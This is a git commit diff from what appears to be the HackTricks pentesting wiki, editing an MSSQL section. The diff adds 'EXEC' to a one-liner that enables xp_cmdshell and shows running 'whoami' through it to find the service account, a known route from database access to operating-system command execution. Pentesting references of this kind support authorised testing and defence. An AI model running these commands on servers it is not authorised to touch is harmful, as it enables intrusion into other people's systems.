Merge branch 'master' of github.com:hackTricks-wiki/hacktricks

This commit is contained in:
Carlos Polop 2024-06-17 11:29:09 +02:00
commit d1c5b10843

View file

@ -223,7 +223,7 @@ sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'